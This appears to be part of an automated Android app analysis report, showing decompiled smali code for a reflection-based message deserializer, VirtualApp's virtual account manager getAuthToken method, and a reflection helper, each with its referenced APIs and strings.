                              16iput-object v0, v7, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;->value:Ljava/lang/Object;
                              18invoke-direct {p0, p3}, Lcom/omg/base/network/serializer/MessageCodec;->a(Ljava/lang/Class;)Ljava/util/List;
                              19move-result-object v8
                              20move v2, v3
                              21goto_11:
                              22invoke-interface {v8}, Ljava/util/List;->size()I
                              23move-result v0
                              24if-ge v2, v0, :cond_169
                              26invoke-interface {v8, v2}, Ljava/util/List;->get(I)Ljava/lang/Object;
                              27move-result-object v0
                              28check-cast v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;
                              30iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              31const/4 v4, 0x1
                              33invoke-virtual {v1, v4}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              35iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              37invoke-virtual {v1}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              38move-result-object v1
                              40invoke-virtual {v1}, Ljava/lang/Class;->isPrimitive()Z
                              41move-result v1
                              42if-nez v1, :cond_45
                              44iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              46invoke-virtual {v1}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              47move-result-object v1
                              49invoke-direct {p0, v1}, Lcom/omg/base/network/serializer/MessageCodec;->c(Ljava/lang/Class;)Z
                              50move-result v1
                              51if-nez v1, :cond_45
                              53iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              55invoke-virtual {v1}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              56move-result-object v1
                              57const-class v4, Ljava/lang/String;
                              58if-ne v1, v4, :cond_5f
                              59cond_45:
                              60iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              62invoke-virtual {v1}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              63move-result-object v1
                              65invoke-direct {p0, p1, p2, v1}, Lcom/omg/base/network/serializer/MessageCodec;->a([BILjava/lang/Class;)Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;
                              66move-result-object v1
                              67iget v4, v1, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;->length:I
                              68add-int/2addr p2, v4
                              70iget-object v0, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              72iget-object v4, v7, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;->value:Ljava/lang/Object;
                              74iget-object v1, v1, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;->value:Ljava/lang/Object;
                              76invoke-virtual {v0, v4, v1}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              77goto_5b: add-int/lit8 v0, v2, 0x1
                              78move v2, v0
                              79goto/16 :goto_11
                              80cond_5f:
                              81iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              83invoke-virtual {v1}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              84move-result-object v1
                              86invoke-virtual {v1}, Ljava/lang/Class;->isArray()Z
                              87move-result v1
                              88if-eqz v1, :cond_e3
                              90invoke-static {p1, p2}, Lcom/omg/base/network/serializer/ByteUtil;->b([BI)I
                              91move-result v4
                              92add-int/lit8 p2, p2, 0x4
                              94iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              96invoke-virtual {v1}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              97move-result-object v1
                              99invoke-virtual {v1}, Ljava/lang/Class;->getComponentType()Ljava/lang/Class;
                              100move-result-object v1
                              102invoke-virtual {v1}, Ljava/lang/Class;->isPrimitive()Z
                              103move-result v1
                              104if-nez v1, :cond_9f
                              106iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              108invoke-virtual {v1}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              109move-result-object v1
                              111invoke-virtual {v1}, Ljava/lang/Class;->getComponentType()Ljava/lang/Class;
                              112move-result-object v1
                              114invoke-direct {p0, v1}, Lcom/omg/base/network/serializer/MessageCodec;->c(Ljava/lang/Class;)Z
                              115move-result v1
                              116if-nez v1, :cond_9f
                              118iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              120invoke-virtual {v1}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              121move-result-object v1
                              123invoke-virtual {v1}, Ljava/lang/Class;->getComponentType()Ljava/lang/Class;
                              124move-result-object v1
                              125const-class v5, Ljava/lang/String;
                              126if-ne v1, v5, :cond_c3
                              127cond_9f: move v1, v3
                              128goto_a0: if-ge v1, v4, :cond_5b
                              130iget-object v5, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              132invoke-virtual {v5}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              133move-result-object v5
                              135invoke-virtual {v5}, Ljava/lang/Class;->getComponentType()Ljava/lang/Class;
                              136move-result-object v5
                              138invoke-direct {p0, p1, p2, v5}, Lcom/omg/base/network/serializer/MessageCodec;->a([BILjava/lang/Class;)Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;
                              139move-result-object v5
                              140iget v6, v5, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;->length:I
                              141add-int/2addr p2, v6
                              143iget-object v6, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              145iget-object v9, v7, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;->value:Ljava/lang/Object;
                              147invoke-virtual {v6, v9}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              148move-result-object v6
                              150iget-object v5, v5, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;->value:Ljava/lang/Object;
                              152invoke-static {v6, v1, v5}, Ljava/lang/reflect/Array;->set(Ljava/lang/Object;ILjava/lang/Object;)V
                              153add-int/lit8 v1, v1, 0x1
                              154goto/16 :goto_a0
                              155cond_c3: new-instance v1, Ljava/lang/Exception;
                              156new-instance v2, Ljava/lang/StringBuilder;
                              158invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              160iget-object v0, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              162invoke-virtual {v0}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                              163move-result-object v0
                              165invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              166move-result-object v0
                              168const-string/jumbo v2, " array type is not primitive or String"
                              170invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              171move-result-object v0
                              173invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              174move-result-object v0
                              176invoke-direct {v1, v0}, Ljava/lang/Exception;-><init>(Ljava/lang/String;)V
                              177throw v1
                              178cond_e3: const-class v1, Ljava/util/List;
                              180iget-object v4, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              182invoke-virtual {v4}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              183move-result-object v4
                              185invoke-virtual {v1, v4}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                              186move-result v1
                              187if-eqz v1, :cond_152
                              189invoke-static {p1, p2}, Lcom/omg/base/network/serializer/ByteUtil;->b([BI)I
                              190move-result v9
                              191add-int/lit8 v4, p2, 0x4
                              193iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              195invoke-virtual {v1}, Ljava/lang/reflect/Field;->getGenericType()Ljava/lang/reflect/Type;
                              196move-result-object v1
                              197instance-of v5, v1, Ljava/lang/reflect/ParameterizedType;
                              198if-eqz v5, :cond_16e
                              199check-cast v1, Ljava/lang/reflect/ParameterizedType;
                              201invoke-interface {v1}, Ljava/lang/reflect/ParameterizedType;->getActualTypeArguments()[Ljava/lang/reflect/Type;
                              202move-result-object v1
                              203aget-object v1, v1, v3
                              204check-cast v1, Ljava/lang/Class;
                              205new-instance v10, Ljava/util/ArrayList;
                              207invoke-direct {v10}, Ljava/util/ArrayList;-><init>()V
                              209invoke-virtual {v1}, Ljava/lang/Class;->isPrimitive()Z
                              210move-result v5
                              211if-nez v5, :cond_120
                              213invoke-direct {p0, v1}, Lcom/omg/base/network/serializer/MessageCodec;->c(Ljava/lang/Class;)Z
                              214move-result v5
                              215if-nez v5, :cond_120
                              216const-class v5, Ljava/lang/String;
                              217if-ne v1, v5, :cond_13f
                              218cond_120: move v5, v3
                              219goto_121: if-ge v5, v9, :cond_134
                              221invoke-direct {p0, p1, v4, v1}, Lcom/omg/base/network/serializer/MessageCodec;->a([BILjava/lang/Class;)Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;
                              222move-result-object v11
                              223iget v6, v11, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;->length:I
                              224add-int/2addr v6, v4
                              226iget-object v4, v11, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;->value:Ljava/lang/Object;
                              228invoke-interface {v10, v4}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                              229add-int/lit8 v4, v5, 0x1
                              230move v5, v4
                              231move v4, v6
                              232goto/16 :goto_121
                              233cond_134: move v1, v4
                              234goto_135:
                              235iget-object v0, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              237iget-object v4, v7, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;->value:Ljava/lang/Object;
                              239invoke-virtual {v0, v4, v10}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              240goto_13c: move p2, v1
                              241goto/16 :goto_5b
                              242cond_13f: move v5, v3
                              243goto_140: if-ge v5, v9, :cond_16c
                              245invoke-virtual {p0, p1, v4, v1}, Lcom/omg/base/network/serializer/MessageCodec;->deserializeObject([BILjava/lang/Class;)Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;
                              246move-result-object v4
                              247iget v6, v4, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;->length:I
                              249iget-object v4, v4, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;->value:Ljava/lang/Object;
                              251invoke-interface {v10, v4}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                              252add-int/lit8 v4, v5, 0x1
                              253move v5, v4
                              254move v4, v6
                              255goto/16 :goto_140
                              256cond_152:
                              257iget-object v1, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              259invoke-virtual {v1}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                              260move-result-object v1
                              262invoke-virtual {p0, p1, p2, v1}, Lcom/omg/base/network/serializer/MessageCodec;->deserializeObject([BILjava/lang/Class;)Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;
                              263move-result-object v1
                              264iget p2, v1, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;->length:I
                              266iget-object v0, v0, Lcom/omg/base/network/serializer/MessageCodec$TempField;->fieldInfo:Ljava/lang/reflect/Field;
                              268iget-object v4, v7, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;->value:Ljava/lang/Object;
                              270iget-object v1, v1, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;->value:Ljava/lang/Object;
                              272invoke-virtual {v0, v4, v1}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              273goto/16 :goto_5b
                              274cond_169: iput p2, v7, Lcom/omg/base/network/serializer/MessageCodec$TempFieldResult;->length:I
                              275return-object v7
                              276cond_16c: move v1, v4
                              277goto/16 :goto_135
                              278cond_16e: move v1, v4
                              279goto/16 :goto_13c
                              APIs
                              • java.lang.IllegalArgumentException.<init>
                              • com.lody.virtual.server.accounts.VAccountManagerService.TAG:Ljava/lang/String
                              • android.accounts.IAccountManagerResponse.onError
                              • com.lody.virtual.server.accounts.VAccountManagerService.TAG:Ljava/lang/String
                              • android.accounts.IAccountManagerResponse.onError
                              • android.os.RemoteException.printStackTrace
                              • android.accounts.Account.type:Ljava/lang/String
                              • com.lody.virtual.server.accounts.VAccountManagerService.getAuthenticatorInfo
                              • android.accounts.IAccountManagerResponse.onError
                              • android.os.RemoteException.printStackTrace
                              • android.os.Bundle.getString
                              • android.os.Bundle.putInt
                              • android.os.Binder.getCallingPid
                              • android.os.Bundle.putInt
                              • android.os.Bundle.putBoolean
                              • com.lody.virtual.server.accounts.VAccountManagerService.accountsByUserId:Landroid/util/SparseArray
                              • com.lody.virtual.server.accounts.VAccountManagerService.getAccount
                              • java.util.Map.get
                              • android.os.Bundle.<init>
                              • android.os.Bundle.putString
                              • android.accounts.Account.name:Ljava/lang/String
                              • android.os.Bundle.putString
                              • android.accounts.Account.type:Ljava/lang/String
                              • android.os.Bundle.putString
                              • com.lody.virtual.server.accounts.VAccountManagerService.onResult
                              • com.lody.virtual.server.accounts.VAccountManagerService.getCustomAuthToken
                              • android.os.Bundle.<init>
                              • android.os.Bundle.putString
                              • android.accounts.Account.name:Ljava/lang/String
                              • android.os.Bundle.putString
                              • android.accounts.Account.type:Ljava/lang/String
                              • android.os.Bundle.putString
                              • com.lody.virtual.server.accounts.VAccountManagerService.onResult
                              • android.accounts.Account.name:Ljava/lang/String
                              • com.lody.virtual.server.accounts.VAccountManagerService$1.<init>
                              • com.lody.virtual.server.accounts.VAccountManagerService$1.bind
                              Strings
                              • response is null
                              • getAuthToken called with null account
                              • account is null
                              • getAuthToken called with null authTokenType
                              • authTokenType is null
                              • account.type does not exist
                              • androidPackageName
                              • callerUid
                              • callerPid
                              • notifyOnAuthFailure
                              • authtoken
                              • authAccount
                              • accountType
                              Position Instruction Meta Information
                              0.prologue
                              1if-nez p2, :cond_a
                              2new-instance v5, Ljava/lang/IllegalArgumentException;
                              4const-string v6, "response is null"
                              6invoke-direct {v5, v6}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                              7throw v5
                              8cond_a: if-nez p3, :cond_1f
                              9try_start_c:
                              10sget-object v5, Lcom/lody/virtual/server/accounts/VAccountManagerService;->TAG:Ljava/lang/String;
                              12const-string v6, "getAuthToken called with null account"
                              13const/4 v7, 0x0
                              14new-array v7, v7, [Ljava/lang/Object;
                              16invoke-static {v5, v6, v7}, Lcom/lody/virtual/helper/utils/VLog;->w(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Object;)V
                              17const/4 v5, 0x7
                              19const-string v6, "account is null"
                              20move-object/from16 v0, p2
                              22invoke-interface {v0, v5, v6}, Landroid/accounts/IAccountManagerResponse;->onError(ILjava/lang/String;)V
                              23goto_1e: return-void
                              24cond_1f: if-nez p4, :cond_39
                              26sget-object v5, Lcom/lody/virtual/server/accounts/VAccountManagerService;->TAG:Ljava/lang/String;
                              28const-string v6, "getAuthToken called with null authTokenType"
                              29const/4 v7, 0x0
                              30new-array v7, v7, [Ljava/lang/Object;
                              32invoke-static {v5, v6, v7}, Lcom/lody/virtual/helper/utils/VLog;->w(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Object;)V
                              33const/4 v5, 0x7
                              35const-string v6, "authTokenType is null"
                              36move-object/from16 v0, p2
                              38invoke-interface {v0, v5, v6}, Landroid/accounts/IAccountManagerResponse;->onError(ILjava/lang/String;)V
                              39try_end_33: goto/16 :goto_1e
                              40catch_34: move-exception v5
                              42invoke-virtual {v5}, Landroid/os/RemoteException;->printStackTrace()V
                              43goto/16 :goto_1e
                              44cond_39: move-object/from16 v0, p3
                              46iget-object v5, v0, Landroid/accounts/Account;->type:Ljava/lang/String;
                              47move-object/from16 v0, p0
                              49invoke-direct {v0, v5}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->getAuthenticatorInfo(Ljava/lang/String;)Lcom/lody/virtual/server/accounts/VAccountManagerService$AuthenticatorInfo;
                              50move-result-object v9
                              51if-nez v9, :cond_53
                              52const/4 v5, 0x7
                              53try_start_46:
                              54const-string v6, "account.type does not exist"
                              55move-object/from16 v0, p2
                              57invoke-interface {v0, v5, v6}, Landroid/accounts/IAccountManagerResponse;->onError(ILjava/lang/String;)V
                              58try_end_4d: goto/16 :goto_1e
                              59catch_4e: move-exception v5
                              61invoke-virtual {v5}, Landroid/os/RemoteException;->printStackTrace()V
                              62goto/16 :goto_1e
                              63cond_53:
                              64const-string v5, "androidPackageName"
                              65move-object/from16 v0, p7
                              67invoke-virtual {v0, v5}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                              68move-result-object v19
                              70iget-object v5, v9, Lcom/lody/virtual/server/accounts/VAccountManagerService$AuthenticatorInfo;->desc:Landroid/accounts/AuthenticatorDescription;
                              71iget-boolean v0, v5, Landroid/accounts/AuthenticatorDescription;->customTokens:Z
                              72move/from16 v17, v0
                              74const-string v5, "callerUid"
                              76invoke-static {}, Lcom/lody/virtual/os/VBinder;->getCallingUid()I
                              77move-result v6
                              78move-object/from16 v0, p7
                              80invoke-virtual {v0, v5, v6}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
                              82const-string v5, "callerPid"
                              84invoke-static {}, Landroid/os/Binder;->getCallingPid()I
                              85move-result v6
                              86move-object/from16 v0, p7
                              88invoke-virtual {v0, v5, v6}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
                              89if-eqz p5, :cond_81
                              91const-string v5, "notifyOnAuthFailure"
                              92const/4 v6, 0x1
                              93move-object/from16 v0, p7
                              95invoke-virtual {v0, v5, v6}, Landroid/os/Bundle;->putBoolean(Ljava/lang/String;Z)V
                              96cond_81: if-nez v17, :cond_cb
                              97move-object/from16 v0, p0
                              99iget-object v6, v0, Lcom/lody/virtual/server/accounts/VAccountManagerService;->accountsByUserId:Landroid/util/SparseArray;
                              100monitor-enter v6
                              101try_start_88: move-object/from16 v0, p0
                              102move/from16 v1, p1
                              103move-object/from16 v2, p3
                              105invoke-direct {v0, v1, v2}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->getAccount(ILandroid/accounts/Account;)Lcom/lody/virtual/server/accounts/VAccount;
                              106move-result-object v5
                              107monitor-exit v6
                              108try_end_93: if-eqz v5, :cond_c9
                              110iget-object v5, v5, Lcom/lody/virtual/server/accounts/VAccount;->authTokens:Ljava/util/Map;
                              111move-object/from16 v0, p4
                              113invoke-interface {v5, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              114move-result-object v5
                              115check-cast v5, Ljava/lang/String;
                              116goto_9f: if-eqz v5, :cond_cb
                              117new-instance v6, Landroid/os/Bundle;
                              119invoke-direct {v6}, Landroid/os/Bundle;-><init>()V
                              121const-string v7, "authtoken"
                              123invoke-virtual {v6, v7, v5}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              125const-string v5, "authAccount"
                              126move-object/from16 v0, p3
                              128iget-object v7, v0, Landroid/accounts/Account;->name:Ljava/lang/String;
                              130invoke-virtual {v6, v5, v7}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              132const-string v5, "accountType"
                              133move-object/from16 v0, p3
                              135iget-object v7, v0, Landroid/accounts/Account;->type:Ljava/lang/String;
                              137invoke-virtual {v6, v5, v7}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              138move-object/from16 v0, p0
                              139move-object/from16 v1, p2
                              141invoke-direct {v0, v1, v6}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->onResult(Landroid/accounts/IAccountManagerResponse;Landroid/os/Bundle;)V
                              142goto/16 :goto_1e
                              143catchall_c6: move-exception v5
                              144try_start_c7: monitor-exit v6
                              145try_end_c8: throw v5
                              146cond_c9: const/4 v5, 0x0
                              147goto/16 :goto_9f
                              148cond_cb: if-eqz v17, :cond_102
                              149move-object/from16 v0, p0
                              150move/from16 v1, p1
                              151move-object/from16 v2, p3
                              152move-object/from16 v3, p4
                              153move-object/from16 v4, v19
                              155invoke-direct {v0, v1, v2, v3, v4}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->getCustomAuthToken(ILandroid/accounts/Account;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              156move-result-object v5
                              157if-eqz v5, :cond_102
                              158new-instance v6, Landroid/os/Bundle;
                              160invoke-direct {v6}, Landroid/os/Bundle;-><init>()V
                              162const-string v7, "authtoken"
                              164invoke-virtual {v6, v7, v5}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              166const-string v5, "authAccount"
                              167move-object/from16 v0, p3
                              169iget-object v7, v0, Landroid/accounts/Account;->name:Ljava/lang/String;
                              171invoke-virtual {v6, v5, v7}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              173const-string v5, "accountType"
                              174move-object/from16 v0, p3
                              176iget-object v7, v0, Landroid/accounts/Account;->type:Ljava/lang/String;
                              178invoke-virtual {v6, v5, v7}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              179move-object/from16 v0, p0
                              180move-object/from16 v1, p2
                              182invoke-direct {v0, v1, v6}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->onResult(Landroid/accounts/IAccountManagerResponse;Landroid/os/Bundle;)V
                              183goto/16 :goto_1e
                              184cond_102: new-instance v5, Lcom/lody/virtual/server/accounts/VAccountManagerService$1;
                              185const/4 v11, 0x0
                              186move-object/from16 v0, p3
                              188iget-object v12, v0, Landroid/accounts/Account;->name:Ljava/lang/String;
                              189move-object/from16 v6, p0
                              190move-object/from16 v7, p2
                              191move/from16 v8, p1
                              192move/from16 v10, p6
                              193move-object/from16 v13, p3
                              194move-object/from16 v14, p4
                              195move-object/from16 v15, p7
                              196move/from16 v16, p5
                              197move/from16 v18, p1
                              199invoke-direct/range {v5 .. v19}, Lcom/lody/virtual/server/accounts/VAccountManagerService$1;-><init>(Lcom/lody/virtual/server/accounts/VAccountManagerService;Landroid/accounts/IAccountManagerResponse;ILcom/lody/virtual/server/accounts/VAccountManagerService$AuthenticatorInfo;ZZLjava/lang/String;Landroid/accounts/Account;Ljava/lang/String;Landroid/os/Bundle;ZZILjava/lang/String;)V
                              201invoke-virtual {v5}, Lcom/lody/virtual/server/accounts/VAccountManagerService$1;->bind()V
                              202goto/16 :goto_1e
                              APIs
                              • java.lang.Object.<init>
                              • java.lang.reflect.Field.isAnnotationPresent
                              • java.lang.reflect.Field.getAnnotation
                              • java.lang.Class.getClassLoader
                              • java.lang.Object.getClass
                              • java.lang.Class.getClassLoader
                              • java.lang.Class.getName
                              • java.lang.Class.forName
                              • java.lang.Class.getField
                              • java.lang.reflect.Field.get
                              • java.lang.RuntimeException.<init>
                              • java.lang.reflect.Field.getName
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Field.getName
                              • java.lang.NoSuchMethodException.<init>
                              • java.lang.reflect.Field.isAnnotationPresent
                              • java.lang.reflect.Field.getAnnotation
                              • java.lang.Class.forName
                              • java.lang.String.equals
                              • java.lang.Class.forName
                              • java.lang.ClassNotFoundException.printStackTrace
                              • java.lang.ClassNotFoundException.printStackTrace
                              • java.lang.reflect.Field.getName
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.Exception.printStackTrace
                              • java.lang.reflect.Field.getName
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.Class.getDeclaredMethods
                              • java.lang.reflect.Method.getName
                              • java.lang.reflect.Field.getName
                              • java.lang.String.equals
                              • java.lang.reflect.Method.setAccessible
                              Strings
                              • TYPE
                              • java.util.HashSet
                              • android.util.ArraySet
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/Class",
                              4"<*>;",
                              5"Ljava/lang/reflect/Field;",
                              6")V"
                              7}
                              8.end annotation
                              9.prologue
                              10const/4 v3, 0x1
                              11const/4 v1, 0x0
                              13invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                              14const-class v0, Lmirror/MethodParams;
                              16invoke-virtual {p2, v0}, Ljava/lang/reflect/Field;->isAnnotationPresent(Ljava/lang/Class;)Z
                              17move-result v0
                              18if-eqz v0, :cond_6a
                              19const-class v0, Lmirror/MethodParams;
                              21invoke-virtual {p2, v0}, Ljava/lang/reflect/Field;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                              22move-result-object v0
                              23check-cast v0, Lmirror/MethodParams;
                              25invoke-interface {v0}, Lmirror/MethodParams;->value()[Ljava/lang/Class;
                              26move-result-object v2
                              27goto_19: array-length v0, v2
                              28if-ge v1, v0, :cond_4d
                              29aget-object v0, v2, v1
                              31invoke-virtual {v0}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              32move-result-object v4
                              34invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              35move-result-object v5
                              37invoke-virtual {v5}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              38move-result-object v5
                              39if-ne v4, v5, :cond_42
                              40try_start_2c:
                              41invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              42move-result-object v4
                              44invoke-static {v4}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              46const-string v4, "TYPE"
                              48invoke-virtual {v0, v4}, Ljava/lang/Class;->getField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              49move-result-object v0
                              50const/4 v4, 0x0
                              52invoke-virtual {v0, v4}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              53move-result-object v0
                              54check-cast v0, Ljava/lang/Class;
                              55aput-object v0, v2, v1
                              56cond_42: add-int/lit8 v0, v1, 0x1
                              57move v1, v0
                              58goto/16 :goto_19
                              59catch_46: move-exception v0
                              60new-instance v1, Ljava/lang/RuntimeException;
                              62invoke-direct {v1, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/Throwable;)V
                              63throw v1
                              64cond_4d:
                              65invoke-virtual {p2}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                              66move-result-object v0
                              68invoke-virtual {p1, v0, v2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              69move-result-object v0
                              70iput-object v0, p0, Lmirror/RefStaticMethod;->method:Ljava/lang/reflect/Method;
                              72iget-object v0, p0, Lmirror/RefStaticMethod;->method:Ljava/lang/reflect/Method;
                              74invoke-virtual {v0, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              75cond_5c:
                              76iget-object v0, p0, Lmirror/RefStaticMethod;->method:Ljava/lang/reflect/Method;
                              77if-nez v0, :cond_105
                              78new-instance v0, Ljava/lang/NoSuchMethodException;
                              80invoke-virtual {p2}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                              81move-result-object v1
                              83invoke-direct {v0, v1}, Ljava/lang/NoSuchMethodException;-><init>(Ljava/lang/String;)V
                              84throw v0
                              85cond_6a: const-class v0, Lmirror/MethodReflectParams;
                              87invoke-virtual {p2, v0}, Ljava/lang/reflect/Field;->isAnnotationPresent(Ljava/lang/Class;)Z
                              88move-result v0
                              89if-eqz v0, :cond_e2
                              90const-class v0, Lmirror/MethodReflectParams;
                              92invoke-virtual {p2, v0}, Ljava/lang/reflect/Field;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                              93move-result-object v0
                              94check-cast v0, Lmirror/MethodReflectParams;
                              96invoke-interface {v0}, Lmirror/MethodReflectParams;->value()[Ljava/lang/String;
                              97move-result-object v5
                              98array-length v0, v5
                              99new-array v6, v0, [Ljava/lang/Class;
                              100array-length v0, v5
                              101new-array v7, v0, [Ljava/lang/Class;
                              102move v0, v1
                              103goto_85: array-length v2, v5
                              104if-ge v1, v2, :cond_c1
                              105aget-object v2, v5, v1
                              107invoke-static {v2}, Lmirror/RefStaticMethod;->getProtoType(Ljava/lang/String;)Ljava/lang/Class;
                              108move-result-object v2
                              109if-nez v2, :cond_96
                              110try_start_90: aget-object v4, v5, v1
                              112invoke-static {v4}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              113try_end_95: move-result-object v2
                              114cond_96: aput-object v2, v6, v1
                              116const-string v4, "java.util.HashSet"
                              117aget-object v8, v5, v1
                              119invoke-virtual {v4, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              120move-result v4
                              121if-eqz v4, :cond_be
                              122try_start_a2:
                              123const-string v0, "android.util.ArraySet"
                              125invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              126try_end_a7: move-result-object v0
                              127goto_a8: if-eqz v0, :cond_bb
                              128aput-object v0, v7, v1
                              129goto_ac: move v0, v3
                              130goto_ad: add-int/lit8 v1, v1, 0x1
                              131goto/16 :goto_85
                              132catch_b0: move-exception v4
